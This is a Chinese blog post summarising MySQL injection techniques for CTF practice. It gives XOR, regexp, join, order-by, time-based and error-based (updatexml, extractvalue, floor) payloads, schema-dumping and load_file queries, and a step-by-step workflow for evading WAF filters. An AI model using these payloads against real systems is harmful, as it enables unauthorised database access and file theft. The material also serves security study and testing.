SQL注入小结

1.XOR注入

  • 使用场景

    过滤了关键字:and 、or、逗号、空格

Payload:

1
2
3
admin'^(ascii(mid((passwd)from(i)))>j)^'1'='1'%23

admin'(ascii(mid((passwd)from(i)for(1)))>j)^'1'='1'%23

MID()函数:MID(str,pos,len) 对于str字符串,从pos索引值开始,截取len长度的子字符串

from(1)表示从第一个位置开始截取剩下的字符串,for(1)表示从改位置起一次就截取一个字符
如果还过滤了=,可以使用>代替admin'^(ascii(mid((passwd)from(i)))>j)^'2'>'1'%23

2.regexp注入

  • 使用场景

    过滤了 = in like

    1
    2
    3
    4
    select (select语句) regexp '正则'

    select (select user_pass from users where user_id = 1) regexp '^a'
    ^表示从开头匹配,regexp 'asa$' $表示从末尾开始匹配

3.order by盲注

  • 使用场景

    过滤了列名
    过滤了括号
    适用于已知该表的列名以及列名位置的注入

Payload:

1
select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3

order by ‘number’ (asc/desc),即对某一列进行排序,默认是升序排列,即后面默认跟上asc

一次性报所有表明和字段名

1
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)

逗号被过滤

1
limit 1 offset 1

limit被过滤:

(1) group_concat(使用的最多)
(2) <>筛选(不等于)
(3) not in
(4) DISTINCT

join注入

  • 使用场景

    过滤了逗号
    payload::

    1
    2
    3
    1' union select * from (select 1) a join (select 2) b %23
    例如:
    -1' union select * from (select user()) a join (select version() ) b %23

其中当id=1时会覆盖掉查询的内容,使用id=-1
具体的使用方法不在本文的讨论范围内,具体的使用可以看看下面的文章:
https://blog.csdn.net/qq_33020901/article/details/78906268

带!的注入

if盲注(合理利用条件)
if盲注的基本格式:

1
2
if(条件,条件为真执行的语句,条件为假执行的语句)
admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)

wp链接:https://www.kingkk.com/2018/04/bctf2018-love-q/

0x06 自己总结的注入流程
1、先找到注入点,id=,username=,判断GET/POST/COOKIE注入

2、查看显示位,如果只有一个显示位在使用union注入是注意使用limit来限制显示

3、判断字符型注入还是数字型注入(2-1,’是否正常)

4、输入不同值查看页面是否有变化,无变化的话可以考虑采用bool时间盲注,若有报错信息优先考虑报错注入(exp,updatexml(优先采用updatexml、extractvalue报错))

5、先简单测试空格和注释符是否被替换了,id=1 1,id = 1%231(看看能否用/ /、%20、%0a、%09绕过)

6、进行fuzz,看看那些被waf了

7、若页面上没有显示waf过滤之类的提示(sql injection detected),就测试是否有被替换为空的字符(如:’ or ‘*’=’、’ or ‘-‘=’ ,如果页面返回正常的话,则说明该字符被替换为空)

8、简单尝试双写、编码、大小写替换的方法,判断是否可以绕过

9、确定注入方式(尽量把盲注放最后),union、报错注入、盲注

10、先在bp中跑一遍看是否有结果

11、尝试写脚本

xpath处理函数(extractvalue和updatexml):

floor

1
2
3
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

extractvalue

1
2
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
' and extractvalue(1, concat(0x5c, substring((load_file("./f13g_ls_here.txt")),1,32)))#

updatexml

1
and 1=(updatexml(1,concat(0x3a,(select user())),1))

load_file(‘/var/www/html/f13g_ls_here.txt’)

https://www.anquanke.com/post/id/85936

文章作者: Ginove
文章链接: https://ginove.github.io/2018/10/12/SQL注入小结/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ginove